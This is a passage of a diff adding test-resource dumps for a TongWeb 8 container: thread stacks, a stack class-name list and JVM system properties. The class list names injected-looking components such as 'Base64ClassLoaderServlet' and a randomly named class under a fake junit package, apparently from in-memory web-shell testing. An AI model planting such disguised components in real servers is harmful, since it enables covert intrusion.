com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(3)-127.0.0.1" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TONGWEB-startStop-1" #110 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-5" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-3" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-2" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-9" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on java.lang.Thread@4212a0c8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:499) + at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:457) + at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747) + at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:382) + at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536) + +"Thread-5" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-4" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-AsyncTimeout" #130 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-192.168.215.4" #108 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #102 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3254d46 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-8" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-AsyncTimeout" #116 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #158 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e46813 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #106 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8221693 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-6" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-9" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-Acceptor-0" #113 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@553e19b8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-2" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.tongweb.catalina.authenticator.AuthenticatorBase +com.tongweb.catalina.connector.CoyoteWriter +com.tongweb.catalina.connector.ThanosCoyoteAdaptor +com.tongweb.catalina.core.ApplicationFilterChain +com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor +com.tongweb.catalina.core.StandardContextValve +com.tongweb.catalina.core.StandardEngineValve +com.tongweb.catalina.core.StandardHostValve +com.tongweb.catalina.core.StandardServer +com.tongweb.catalina.core.StandardWrapperValve +com.tongweb.catalina.core.ThanosStandardContextValve +com.tongweb.catalina.core.ThanosStandardEngineValve +com.tongweb.catalina.realm.RealmValve +com.tongweb.catalina.startup.Bootstrap +com.tongweb.catalina.startup.Catalina +com.tongweb.catalina.startup.ThanosCatalina +com.tongweb.catalina.valves.ErrorReportValve +com.tongweb.coyote.AbstractProcessorLight +com.tongweb.coyote.AbstractProtocol$AsyncTimeout +com.tongweb.coyote.AbstractProtocol$ConnectionHandler +com.tongweb.coyote.http11.Http11Processor +com.tongweb.coyote.http11.ThanosHttp11Processor +com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer +com.tongweb.tomee.catalina.OpenEJBValve +com.tongweb.web.util.net.Nio2Endpoint$Acceptor +com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor +com.tongweb.web.util.net.NioBlockingSelector$BlockPoller +com.tongweb.web.util.net.NioEndpoint$Acceptor +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TWThreadPoolExecutor +com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.websocket.server.WsFilter +org.junit.Uzcrn.ErrorHandler diff --git a/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt new file mode 100644 index 00000000..d787525f --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt @@ -0,0 +1,851 @@ +# Generated At 2023-11-01 12:30:00 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +tongweb.TONGWEB_STARTED_FLAG: true +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /opt/tweb8/domains/domain1 +java.runtime.version: 1.8.0_342-b07 +derby.system.home: /opt/tweb8/domains/domain1 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /opt/tweb8/domains/domain1/temp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming +java.util.logging.manager: com.tongweb.logger.JulLogManager +os.name: Linux +sun.jnu.encoding: UTF-8 +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +tongweb.home: /opt/tweb8 +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.web.util.SafeForkJoinWorkerThreadFactory +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +bval.in-container: true +tongweb.base: /opt/tweb8/domains/domain1 +java.class.path: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar:/opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar +user.name: root +noBanner: true +java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory +tongweb.version: 8 +java.vm.specification.version: 1.8 +sun.java.command: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar start +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation 